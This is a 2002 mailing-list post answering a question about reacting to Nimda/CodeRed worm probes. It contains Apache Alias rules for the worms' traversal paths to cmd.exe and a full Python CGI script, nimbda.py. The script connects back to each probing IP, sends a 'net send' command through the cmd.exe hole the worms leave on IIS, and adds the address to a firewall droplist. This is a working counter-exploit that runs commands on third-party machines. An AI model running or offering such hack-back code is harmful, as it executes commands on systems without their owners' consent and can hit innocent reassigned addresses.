On Tue, Oct 29, 2002 at 07:49:58AM -0800, Paul Johnson wrote: | Is there some apache module that will notice various IIS exploits in | real time, look up the proper contacts and report it to the | corresponding abuse contacts automagically?
An incomplete answer follows. /etc/apache/httpd.conf : ~~~~ # Nimda/CR spoof Alias /d/winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py" Alias /scripts/..\\\\../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py" Alias /scripts/../../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py" Alias /scripts/..À¯../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py" ~~~~ nimbda.py is attached. I follow it up with the following cron job : # Update the nimbda blacklist daily. 0 2 * * * root /etc/FIREWALL/FIREWALL > /dev/null and the attached script run early during my firewall script. -D -- A Microsoft Certified System Engineer is to information technology as a McDonalds Certified Food Specialist is to the culinary arts. Michael Bacarella commenting on the limited value of certification. http://dman.ddts.net/~dman/
#!/usr/bin/python2.3 version = "$Revision: 1.2 $"[11:-2] """ $Id: nimbda.py,v 1.2 2002/08/05 14:19:39 dman Exp $ $Revision: 1.2 $ CGI script to answer nimbda/codered probes. Sends a nice alert back to the domain of the offender before droplisting their IP. TODO : . store a history for the address . periodically clean out the cleaned-up addresses . use a script rather than 'cat' in the firewall script (this goes along with the first "todo" item) """ ##True=1 ; False=0 ; # builtin in 2.3! import httplib import os import sys import urllib import urlparse print "Content-Type: text/plain\n\n" offender = os.environ['REMOTE_ADDR'] # XXX if not not __debug__ : import time f = file( "/tmp/nimbdacgi.timestamp" , "a" ) s = '%s %s\n' % ( time.asctime() , offender ) f.write( s ) print s[:-1] #f.write( time.asctime() ) #f.write( ' ' ) #f.write( offender ) #f.write( '\n' ) f.close() del f , time MESSAGE = r"net send * CodeRed! NIMBDA! Clean it up already! IIS is FUBAR!" #URLPATH = "/var/www/scripts/root.exe" URLPATH = "/d/winnt/system32/cmd.exe" URLQUERY = urllib.quote( MESSAGE ) blocklist_path = "/tmp/iptables.droplist.nimbda" def main() : ##try : ## f = file( blocklist_path , "a" ) ## print repr(f) ## f.write( "" ) ; ## f.close() ##except : ## print "What in the world!?" ## import traceback ## traceback.print_exc() # don't use a proxy try : del os.environ['http_proxy'] except KeyError : pass # don't let any password prompts stop us! sys.stdin.close() sys.stdin = file( "/dev/null" , 'r' ) addrs = load_blocklist() old_count = len(addrs) addrs[offender] = None # sanity check import threading class ProbeThread( threading.Thread ) : def __init__( self , addr ) : self.addr = addr threading.Thread.__init__( self ) def run( self ) : #if probe( self.addr ) : # append_to_blocklist( self.addr ) probe( self.addr ) append_to_blocklist( self.addr ) # end class ProbeThread tlist = [] for o in addrs.keys() : print o if o in ( '127.0.0.1' , ) : print "Skipping address %s" % o del addrs[ o ] continue pt = ProbeThread( o ) pt.start() tlist.append( pt ) while tlist : thread = tlist.pop() thread.join() final_count = len(addrs) new_count = final_count - old_count #alist = addrs.keys() #alist.sort() #update_blocklist( alist ) if __debug__ : print print "Loaded %d old addresses." % old_count print "Located %d new addresses." % new_count print "Currently blocking %d nimbda/codered-infected IPs" % final_count #print "Blocked addresses :" #print "\n".join( alist ) #end main() def load_blocklist( ) : """Load the existing blocklist.""" addresses = {} if os.path.exists( blocklist_path ) : f = file( blocklist_path , 'r' ) for line in f : l = line.strip() if l : addresses[ l ] = None return addresses # end load_blocklist() def append_to_blocklist( addr ) : """Append a single address to the blocklist""" f = file( blocklist_path , 'a' ) f.write( addr ) f.write( '\n' ) f.close() # end append_to_blocklist() def update_blocklist( addrs ) : """Recreate the blocklist from the address sequence""" addrs.sort() f = file( blocklist_path , 'w' ) for a in addrs : f.write( a ) f.write( '\n' ) f.close() # end update_blocklist() def probe( addr ) : """Probe the addresses for nimbda.""" # guilty until proven innocent retval = True try : #f = urllib.urlopen( urlparse.urlunparse( # ('http' , addr , URLPATH , '' , URLQUERY , '') ) ) #resp = f.info() conn = httplib.HTTPConnection( addr ) conn.request( 'GET' , (URLPATH+"?"+URLQUERY) ) resp = conn.getresponse() conn.close() print "__" print repr(addr) status = resp.status print "Response status:" , status print resp.reason print "--" if status == 200 : retval = True # how nice, they got a warning elif status == 404 : # This will probably only happen with dynamic addresses already in # the droplist. retval = False elif status == 403 : # Forbidden? Why does the file exist in the first place? retval = True except EOFError , err : # what do they want a password for? retval = False print "__" print addr print "EOFError (password prompt)" print "--" except IOError , err : print "__" print addr print str(err) print "--" if False : pass # 110 == Connection timed out elif err.errno == 110 : retval = False # 111 == Connection refused elif err.errno == 111 : retval = False # 113 == No route to host elif err.errno == 113 : retval = False except Exception , err : retval = False # maybe they fixed it by now? print "__" print addr print str(err) , str(err.__class__) print dir( err ) print "--" print # end probe() if __name__ == "__main__" : main() ## ---------------------------------------------------------------------------- # History : # $Log: nimbda.py,v $ # Revision 1.2 2002/08/05 14:19:39 dman # Fixed several issues : # . new hosts not being recorded # . race condition when re-writing the blocklist # Other minor cleanups in the code. # # Revision 1.1 2002/07/26 16:53:03 dman # first checkin #
droplist.sh
Description: Bourne shell script
msg09916/pgp00000.pgp
Description: PGP signature